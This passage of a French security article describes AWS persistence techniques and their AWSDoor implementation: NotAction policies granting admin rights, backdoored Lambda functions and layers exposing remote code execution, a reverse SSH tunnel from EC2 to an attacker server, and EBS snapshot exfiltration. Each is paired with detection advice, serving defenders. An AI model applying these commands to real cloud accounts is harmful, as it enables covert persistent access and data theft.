<p style="text-align: justify;">En effet, <strong>en utilisant l’opérateur NotAction, AWS appliquera l’effet de l’instruction à toutes les actions</strong>, sauf celles explicitement listées.</p>
<p style="text-align: justify;">Par exemple, la politique suivante :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": "s3:ListBucket",<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">Cette politique permettra au rôle <strong>d’exécuter toute action sauf l’action ListBucket sur le bucket S3 cloudtrails-logs-01032004 :</strong> elle accorde donc au rôle associé des privilèges maximaux sur le compte.</p>
<p style="text-align: justify;">Pour un défenseur, cette politique peut, à première vue, <strong>sembler inoffensive car elle cible une ressource S3 précise</strong>. En réalité, elle confère des privilèges équivalents à AdministratorAccess au rôle.</p>
<p style="text-align: justify;">Un attaquant peut ensuite <strong>installer une porte dérobée (backdoor) sur ce rôle en utilisant la persistance via la TrustPolicy</strong>, comme expliqué précédemment, afin d’obtenir un accès complet et à distance au compte AWS compromis.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p> </p>
<pre>python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY<br />[+] The following policy will be added :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": [<br />        "s3:ListBucket"<br />      ],<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY<br />[+] Attaching the policy to FAKEROLE<br />[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE</pre>
<p> </p>
<p style="text-align: justify;">Pour la stratégie, il existe deux possibilités :</p>
<ul>
<li style="text-align: justify;"> <strong>Politique attachée :</strong> c’est la méthode la plus courante pour ajouter une stratégie à un rôle. Tout d’abord, une stratégie est créée avec l’instruction NotAction, puis la stratégie est attachée au rôle. La stratégie apparaîtra alors dans le panneau IAM/Policies :</li>
</ul>
<p> </p>
<figure id="attachment_27314" aria-describedby="caption-attachment-27314" style="width: 1004px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27314" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-437x131.png" alt="Politique de rôle attachée" width="1004" height="301" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word.png 1374w" sizes="auto, (max-width: 1004px) 100vw, 1004px" /><figcaption id="caption-attachment-27314" class="wp-caption-text"><em>Politique de rôle attachée</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Stratégie inline (-i)</strong> : c’est la manière la plus rapide d’ajouter une stratégie à un rôle. La stratégie est créée directement au niveau du rôle (d’où le terme <em>inline</em>). Bien qu’il soit plus simple de créer ce type de stratégie, cela est généralement considéré comme une mauvaise pratique de configuration, car la stratégie n’apparaîtra pas dans le panneau IAM/Policies, ce qui la rend plus difficile à retrouver lors d’un examen de configuration.</li>
</ul>
<p style="text-align: justify;">Par conséquent, certains outils de conformité spécifiques peuvent signaler la stratégie inline. Non pas parce qu’elle est malveillante, mais parce qu’elle n’est pas conforme aux bonnes pratiques de sécurité.</p>
<p> </p>
<figure id="attachment_27316" aria-describedby="caption-attachment-27316" style="width: 1067px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27316" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-437x186.png" alt="Une politique inline" width="1067" height="454" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-437x186.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1536x653.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word.png 1562w" sizes="auto, (max-width: 1067px) 100vw, 1067px" /><figcaption id="caption-attachment-27316" class="wp-caption-text"><em>Une politique inline</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Du point de vue d’un défenseur, l<strong>’utilisation de NotAction combinée à l’effet Allow dans les stratégies IAM doit immédiatement susciter des soupçons</strong>, en particulier lorsqu’elle est associée à des champs NotResource.</p>
<p style="text-align: justify;">Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à se défendre contre ce type d’escalade de privilèges :</p>
<ul>
<li style="text-align: justify;"><strong> Surveiller les modifications des stratégies IAM</strong> via CloudTrail : toute création ou modification de stratégies IAM peut être suivie dans CloudTrail avec les événements suivants : CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion et SetDefaultPolicyVersion.</li>
<li style="text-align: justify;"><strong> Enquêter sur les documents de stratégie contenant le mot-clé NotAction </strong>: cela peut être automatisé en créant un scénario associé dans CloudWatch (NotAction dans requestParameters.policyDocument).</li>
<li style="text-align: justify;"><strong> Appliquer un contrôle de conformité avec AWS Config </strong>: une règle de configuration personnalisée peut être définie pour signaler toute stratégie incluant NotAction ou NotResource avec un effet Allow.</li>
</ul>
<p> </p>
<h3>Persistance basée sur les ressources</h3>
<p style="text-align: justify;">Dans AWS, <strong>il est courant d’attacher des rôles IAM à des ressources comme des fonctions Lambda, des instances EC2</strong> ou des tâches ECS. Cela permet à ces services d’accéder de manière sécurisée à d’autres ressources AWS, en fonction des autorisations définies dans le rôle. Par exemple, une instance EC2 peut utiliser un rôle pour lire des secrets dans Secrets Manager ou envoyer des journaux vers CloudWatch.</p>
<p style="text-align: justify;">Du point de vue d’un attaquant, <strong>cette configuration peut être utile pour maintenir une persistance</strong>. S’il parvient à compromettre une ressource disposant d’un rôle hautement privilégié, tel qu’un rôle avec AdministratorAccess, il peut utiliser ce rôle pour interagir avec AWS de la même manière que le ferait la ressource.</p>
<p style="text-align: justify;">Cela signifie que <strong>l’attaquant n’a pas besoin de créer de nouvelles informations d’identification ni de modifier directement IAM</strong>. Tant qu’il conserve l’accès à la ressource, il peut continuer à utiliser les autorisations du rôle, ce qui rend cette méthode à la fois efficace et plus difficile à détecter.</p>
<p> </p>
<h4>Lambda</h4>
<p style="text-align: justify;"><strong>Les fonctions AWS Lambda sont devenues un choix populaire pour exécuter du code</strong> dans le cloud sans avoir à gérer de serveurs. Elles permettent aux développeurs et aux organisations d’automatiser des tâches, de répondre à des événements et de créer des applications évolutives qui ne s’exécutent qu’en cas de besoin. Par exemple, Lambda peut traiter des fichiers téléchargés dans S3, gérer des requêtes API ou réagir automatiquement à des modifications dans une base de données.</p>
<p style="text-align: justify;">Par exemple, pour gérer les administrateurs de comptes, il est possible de créer <strong>une fonction Lambda qui ajoute des privilèges à un utilisateur lorsqu’il est ajouté à une base de données DynamoDB </strong>: la modification de DynamoDB déclenche le code Lambda, qui modifie alors les privilèges de l’utilisateur en fonction des changements dans la base de données.</p>
<p style="text-align: justify;">Par conséquent, <strong>il n’est pas habituel d’associer une identité IAM à une fonction Lambda.</strong></p>
<p> </p>
<h5><span style="text-decoration: underline;">Rôle sur-privilégié</span></h5>
<p style="text-align: justify;">Un moyen d’obtenir une persistance sur un compte AWS consiste soit à <strong>associer une identité IAM sur-privilégiée</strong> à une fonction Lambda existante, soit à modifier le code d’une fonction Lambda déjà sur-privilégiée.</p>
<p>Par exemple, un attaquant peut :</p>
<ul style="text-align: justify;">
<li> Créer une fonction Lambda</li>
<li> Associer un rôle IAM privilégié (en utilisant par exemple l’astuce NotAction)</li>
<li> Ajouter un code Python permettant soit d’exécuter du code arbitraire, soit d’extraire les identifiants temporaires de la Lambda</li>
<li> Exposer le répertoire de la Lambda sur Internet via un API Gateway ou une Lambda Function</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">La figure suivante <strong>résume le déploiement de la persistance </strong>:</p>
<p> </p>
<figure id="attachment_27318" aria-describedby="caption-attachment-27318" style="width: 1370px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27318" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-234x191.png" alt="Déploiement de la persistance Lambda" width="1370" height="1118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-234x191.png 234w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-768x627.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word.png 1142w" sizes="auto, (max-width: 1370px) 100vw, 1370px" /><figcaption id="caption-attachment-27318" class="wp-caption-text"><em>Déploiement de la persistance Lambda</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Lambda layers</span></h5>
<p style="text-align: justify;">La technique de <strong>persistance Lambda décrite ci-dessus est efficace, mais elle présente un inconvénient majeur : le code malveillant est facile à repérer</strong>. Si quelqu’un modifie la logique métier principale de la fonction ou examine le code source lors d’une enquête, la porte dérobée sera probablement découverte et supprimée.</p>
<p style="text-align: justify;">Une approche plus subtile consiste à <strong>dissimuler la charge utile malveillante dans une Lambda layer</strong> plutôt que dans le code même de la fonction.</p>
<p style="text-align: justify;">Une Lambda layer est un moyen <strong>de distribuer des dépendances partagées telles que des bibliothèques ou des environnements d’exécution personnalisés</strong>. Au lieu d’intégrer ces éléments directement dans la fonction, on peut les téléverser séparément et les attacher à une ou plusieurs fonctions Lambda. Cela allège le package de déploiement et facilite la réutilisation du code entre différents projets. Les layers sont couramment utilisées pour inclure des outils comme requests ou les SDK AWS (boto3) dans plusieurs fonctions.</p>
<p style="text-align: justify;">Du point de vue d’AWS, <strong>la layer est attachée à la fonction, mais son contenu n’est pas affiché directement dans la console</strong>.</p>
<p style="text-align: justify;">Comme illustré dans la capture d’écran ci-dessous, AWS se contente d’indiquer la présence de la layer ; pour l’inspecter, un utilisateur doit se rendre manuellement dans le panneau Lambda Layers et la télécharger au format ZIP.</p>
<p> </p>
<p data-wp-editing="1"><img loading="lazy" decoding="async" class=" wp-image-27320 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-437x167.png" alt="Visibilité d'un layer sur un lambda" width="1170" height="447" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-437x167.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-768x294.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1536x587.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word.png 1611w" sizes="auto, (max-width: 1170px) 100vw, 1170px" /> <img loading="lazy" decoding="async" class=" wp-image-27322 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-437x44.png" alt="" width="1172" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-437x44.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-71x7.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-768x78.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1536x155.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word.png 1634w" sizes="auto, (max-width: 1172px) 100vw, 1172px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>L’utilisation d’un layer est visible</strong> (mais peut facilement passer inaperçue), mais pour télécharger le code<strong>, l’utilisateur doit se rendre dans un panneau spécifique Lambda Layer</strong> et le télécharger (sans l’afficher) au format ZIP :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27324 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-437x151.png" alt="Panneau spécifique lambda layer" width="1166" height="403" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-768x265.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1536x531.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word.png 1704w" sizes="auto, (max-width: 1166px) 100vw, 1166px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>Ces étapes supplémentaires peuvent rendre les défenseurs moins enclins à examiner le contenu de la layer</strong> lors de la phase initiale de triage.</p>
<p style="text-align: justify;">Un attaquant peut exploiter cela en créant une couche contenant une version compromise d’une bibliothèque standard, telle que requests. En surchargeant une fonction interne avec un comportement malveillant, l’attaquant obtient une exécution de code à distance chaque fois que la fonction est utilisée.</p>
<p style="text-align: justify;">Par exemple, après avoir téléchargé le package requests avec pip :</p>
<p> </p>
<pre>pip install -t python requests<br /><br /></pre>
<p style="text-align: justify;">L’attaquant <strong>modifie la fonction get() afin d’exécuter des commandes arbitraires </strong>:</p>
<p> </p>
<figure id="attachment_27327" aria-describedby="caption-attachment-27327" style="width: 1228px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27327" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-287x191.png" alt="Injection dans la fonction requests.get" width="1228" height="817" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-287x191.png 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-59x39.png 59w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-768x512.png 768w" sizes="auto, (max-width: 1228px) 100vw, 1228px" /><figcaption id="caption-attachment-27327" class="wp-caption-text"><em>Injection dans la fonction requests.get</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ensuite, <strong>le package est compressé au format ZIP et déployé en tant que </strong><strong>layer</strong>, qui est attachée à la fonction cible :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27329 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-437x175.png" alt="Un layer est attaché à la fonction cible" width="654" height="262" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word.png 1003w" sizes="auto, (max-width: 654px) 100vw, 654px" /></p>
<p> </p>
<p style="text-align: justify;">Enfin, <strong>le code source de la fonction Lambda est mis à jour pour utiliser la bibliothèque compromise</strong>, ce qui peut sembler inoffensif à première vue :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27332 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-437x126.png" alt="La fonction Get injectée appelée dans du code" width="597" height="172" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-768x221.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word.png 1235w" sizes="auto, (max-width: 597px) 100vw, 597px" /></p>
<p> </p>
<p style="text-align: justify;">Ce <strong>qui ressemble à une requête HTTP légitime est désormais un déclencheur pour un comportement malveillant caché</strong>. À moins que le défenseur n’inspecte le contenu réel de la couche attachée, cette porte dérobée peut rester indétectée.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p> </p>
<pre>python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l<br />[+] The following trust policy will be created :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "Service": "lambda.amazonaws.com"<br />      },<br />      "Action": "sts:AssumeRole"<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Layer created<br />[+] Created lambda function lambda_test2<br />[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/</pre>
<p> </p>
<p style="text-align: justify;">Quelques paramètres supplémentaires peuvent être utilisés :</p>
<ul style="text-align: justify;">
<li> <strong>-l : utiliser une couche Lambda</strong>, sinon inclure le code malveillant directement dans la Lambda</li>
<li> <strong>-g : utiliser une API Gateway</strong>, sinon utiliser une FunctionURL</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>L’API Gateway est une méthode plus propre pour exposer une Lambda sur Internet </strong>; cependant, il est possible de repérer facilement qu’elle est accessible depuis Internet, car cela est affiché comme un déclencheur.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27334 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-373x191.png" alt="L'APi Gateway est visible en tant que déclencheur" width="596" height="305" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-768x393.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word.png 1372w" sizes="auto, (max-width: 596px) 100vw, 596px" /></p>
<p> </p>
<p style="text-align: justify;">La charge utile déployée par défaut prend un code Python passé en paramètre GET cmd, l’exécute, puis renvoie les données stockées dans la variable result:</p>
<p> </p>
<pre>curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` <br />&gt;&gt; {result: “Hello World”}</pre>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Du point de vue d’un défenseur, <strong>les Lambda </strong><strong>layers sont souvent négligées lors des réponses à incident</strong>, en particulier lorsque seul le code de la fonction est examiné. Comme les layers ne sont pas affichées en ligne dans la console Lambda et doivent être téléchargées manuellement sous forme d’archives ZIP, <strong>un contenu malveillant peut facilement passer inaperçu</strong>. Cela fait des layers un emplacement attractif pour les attaquants souhaitant dissimuler des portes dérobées ou des dépendances compromises.</p>
<p style="text-align: justify;">Les <strong>stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité</strong> à identifier et à réagir à une utilisation suspecte des couches Lambda :</p>
<ul>
<li style="text-align: justify;"><strong> Auditer les attachements de Lambda layers</strong>: l’événement UpdateFunctionConfiguration est enregistré par CloudTrail qu’un nouveau layer est attachée à une fonction Lambda. Il est alors possible de suivre les changements inhabituels ou les associations entre des équipes ou projets sans lien.</li>
<li style="text-align: justify;"><strong> Restreindre la mise à jour des layers au flux CICD </strong>: empêcher toute modification de couche en dehors de la pipeline CICD, en établissant une liste blanche des rôles autorisés à le faire. Concentrer les efforts de détection et de chasse aux menaces sur les usages abusifs ou les mises à jour de ce rôle.</li>
<li style="text-align: justify;"><strong> Vérifier les Lambda exposées directement sur Internet :</strong> exposer une Lambda sur Internet peut être un signe de déploiement de persistance. Toute modification inhabituelle de configuration impliquant l’exposition d’une telle ressource sur Internet doit être investiguée.</li>
</ul>
<p> </p>
<figure id="attachment_27336" aria-describedby="caption-attachment-27336" style="width: 956px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27336" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-365x191.png" alt="Événement déclenché lors de la création d’un API Gateway" width="956" height="500" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-365x191.png 365w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-768x401.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word.png 1395w" sizes="auto, (max-width: 956px) 100vw, 956px" /><figcaption id="caption-attachment-27336" class="wp-caption-text"><em>Événement déclenché lors de la création d’un API Gateway</em></figcaption></figure>
<p> </p>
<figure id="attachment_27338" aria-describedby="caption-attachment-27338" style="width: 998px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27338" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-398x191.png" alt="Événement déclenché lors de l’association d’une URL à une fonction Lambda" width="998" height="479" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-398x191.png 398w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-768x369.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1536x738.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word.png 1599w" sizes="auto, (max-width: 998px) 100vw, 998px" /><figcaption id="caption-attachment-27338" class="wp-caption-text"><em>Événement déclenché lors de l’association d’une URL à une fonction Lambda</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Bien que les <strong>layers soient une fonctionnalité puissante et utile</strong>, elles constituent <strong>un angle mort dans de nombreuses configurations de </strong><strong>monitoring</strong> de la sécurité AWS.</p>
<p> </p>
<h4>EC2</h4>
<h5><span style="text-decoration: underline;">Socks</span></h5>
<p style="text-align: justify;">AWS Systems Manager (SSM) <strong>offre un moyen puissant et flexible de gérer et d’interagir avec des instances EC2</strong> sans nécessiter d’accès réseau direct tel que SSH ou RDP. Au cœur de son fonctionnement, SSM permet la gestion à distance en utilisant un agent installé sur l’instance, qui communique de manière sécurisée avec le service Systems Manager. Par ce canal, <strong>les administrateurs peuvent exécuter des commandes, lancer des scripts ou ouvrir des sessions shell interactives sur les instances</strong>, le tout sans les exposer à Internet public ni gérer de bastions d’accès.</p>
<p style="text-align: justify;">L’un des principaux avantages de SSM est <strong>la réduction de la surface d’attaque grâce à la limitation des services exposés</strong>. Comme la communication est initiée depuis l’instance elle-même, qui se connecte aux points de terminaison du service SSM, cette approche fonctionne même dans un environnement réseau sécurisé où l’accès entrant est restreint.</p>
<p style="text-align: justify;">D’un point de vue sécurité, <strong>bien que SSM réduise l’exposition, il introduit également de nouveaux risques</strong>. Par exemple, si un attaquant compromet une identité disposant des autorisations pour démarrer des sessions SSM ou envoyer des commandes, il peut obtenir une exécution de code à distance sur l’instance sans nécessiter de point d’appui réseau.</p>
<p style="text-align: justify;">Un attaquant ayant <strong>accès au compte AWS peut exploiter les capacités de SSM pour compromettre une instance EC2</strong> et l’utiliser comme pivot réseau. Une approche courante consiste à déployer un proxy SOCKS inversé via SSH. En utilisant SSM, l’attaquant peut exécuter des commandes sur l’instance EC2 pour y déployer une clé SSH, puis lancer une commande afin d’exposer le port SSH de l’EC2 vers son propre serveur :</p>
<p> </p>
<pre>ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f</pre>
<p> </p>
<p style="text-align: justify;">Ensuite, l’attaquant, depuis son serveur, peut ouvrir un proxy SOCKS via SSH à l’aide de la commande suivante :</p>
<p> </p>
<pre>ssh -D 4444 ssm-user@127.0.0.1:2222</pre>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Cela lui permet de faire <strong>transiter du trafic à travers l’instance EC2 compromise</strong>, en l’utilisant comme point d’appui à l’intérieur du réseau.</p>
<p> </p>
<h5><strong><u>Exfiltration de snapshot</u></strong></h5>
<p style="text-align: justify;">Bien qu’elle ne constitue pas un mécanisme de persistance, <strong>l’exfiltration de snapshot est une technique puissante d’exfiltration de données</strong> dans les environnements AWS. Elle exploite la possibilité de partager des snapshots Elastic Block Store (EBS) entre différents comptes AWS. Bien que cette fonctionnalité soit conçue pour la sauvegarde ou la collaboration, elle peut être détournée pour exfiltrer massivement des données.</p>
<p style="text-align: justify;">Un attaquant <strong>disposant de permissions suffisantes dans un compte AWS compromis peut créer un snapshot d’un volume EBS</strong>, puis le partager avec un compte externe qu’il contrôle.</p>
<p> </p>
<figure id="attachment_27340" aria-describedby="caption-attachment-27340" style="width: 1032px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27340" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-320x191.png" alt="Snapshot partagée" width="1032" height="616" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-320x191.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-768x459.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word.png 1186w" sizes="auto, (max-width: 1032px) 100vw, 1032px" /><figcaption id="caption-attachment-27340" class="wp-caption-text"><em>Snapshot partagée</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Depuis ce compte AWS externe, <strong>le snapshot peut être monté, copié et inspecté</strong>, donnant à l’attaquant un accès complet aux données du disque sous-jacent sans jamais rien télécharger directement depuis l’environnement cible.</p>
